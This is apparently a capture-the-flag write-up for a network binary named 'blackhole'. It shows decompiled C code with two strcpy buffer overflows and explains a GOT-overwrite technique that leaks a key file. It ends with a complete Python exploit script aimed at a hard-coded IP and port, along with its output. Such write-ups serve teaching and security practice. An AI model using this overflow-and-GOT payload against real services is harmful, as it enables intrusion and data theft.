</p>
Summary
The binary blackhole contains remote buffer overflow bugs. By exploiting these bugs, we can overwrite a buffer pointer being used as the destination for another* strcpy() *later in the program. Hence, we can write 128 bytes of chosen data to any location we want to.
Vulnerability</p>
Reverse C code of the buggy function at address 0x8048A20
signed int conn_handle(int fd) { unsigned int s; int len; char buf128[128]; char destrandbuf12[12]; char randbuf12[12]; char destbuf16[16]; int randnum; char *buf_ptr; FILE *stream; randnum = 0; buf_ptr = 0; sockfd = fd; sendtosocket(fd, "name : ", 7); memset(buf128, 0, 128); s = time(0); srand(s); randnum = rand() % 10000; readfromsocket(fd, buf128, 32, 10); strcpy(destbuf16, buf128); memset(randbuf12, 0, 12); snprintf(randbuf12, 5, "%d", randnum); xor_randnum(randbuf12, destrandbuf12); snprintf(buf128, 64, "hello %s , your key : %sn", destbuf16, destrandbuf12); len = strlen(buf128); sendtosocket(fd, buf128, len); sendtosocket(fd, "surisuri : ", 11); memset(buf128, 0, 128); readfromsocket(fd, buf128, 128, 10); if ( strncmp(buf128, randbuf12, 4) ) { stream = fopen("/dev/null", "w"); fputs(buf128, stream); sendtosocket(fd, "blackholen", 10); exit(1); } stream = fopen("./key", "r"); if ( stream ) { fread(keystr, 32, 1, stream); strcpy(randbuf12, buf128); strcpy(buf_ptr, buf128); printf("abrakatabra the key is %sn", "elohkcalb"); exit(1); } return -1; }
There are two buffer overflow bugs:
– 16 bytes overflow at line 23: strcpy(destbuf16, buf128)
– 116 bytes overflow at line 44: *strcpy(randbuf12, buf128)</p>
</i>
Exploit
In order to reach the second buggy code at line 44, we need to provide the proper input to pass random check strncmp(buf128, randbuf12, 4) at line 33. The easiest way to do this is to overwrite the `randnum` value using the first strcpy() at line 23. After that, by using the second overflow bug at line 44, we can overwrite `buf_ptr` pointer in the subsequence strcpy(buf_ptr, buf128) at line 45 to be able to write 128 bytes of input data to any memory address.
It’s possible to overwrite the GOT table in the way that the server would send the content of ./key file back to the client via sendtosocket(). Since the static variable `keystr` is used to store the content of ./key file, we can craft the GOT table to change the program flow to end up with something like
; printf GOT points to 0x08048C63 .text:08048C63 mov dword ptr [esp+4], 20h ; size .text:08048C6B mov dword ptr [esp], offset keystr ; ptr .text:08048C72 call _fread ; fread GOT points to 0x08048B98 .text:08048B98 mov eax, [ebp+fd] .text:08048B9B mov [esp], eax ; fd .text:08048B9E call sendtosocket
which is equivalent to sendtosocket(fd, keystr, 32) so the server will send us back 32 bytes content of ./key file.
$ python 6.py < name : < hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa , your key : 0407 < surisuri : KEY: wowyougotpasswordgonextlevel
</p>
Exploit Code</p>
#!/usr/bin/env python import socket host = '221.143.48.88' port = 57005 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) ret = s.recv(1024) print "< %s" % ret name = "a"*32 + "n" s.send(name) ret = s.recv(1024) print "< %s" % ret ret = s.recv(1024) print "< %s" % ret # GOT - from 0x0804A2FC waitpid_ptr # RANDSTR[4] PAD[4] CALL_SENDTOSOCKET[4] PAD[20] BUF_PTR[4] # PAD[4] CALL_FREAD[4] RANDSTR = "1633" CALL_SENDTOSOCKET = "x98x8Bx04x08" # fread GOT CALL_FREAD = "x63x8Cx04x08" # printf GOT BUF_PTR = "xFCxA2x04x08" # waitpid GOT surisuri = RANDSTR + "A"*4 + CALL_SENDTOSOCKET + "A"*20 + BUF_PTR + "A"*4 + CALL_FREAD + "n" s.send(surisuri) ret = s.recv(1024) print "KEY: %sn" % ret s.close
</p>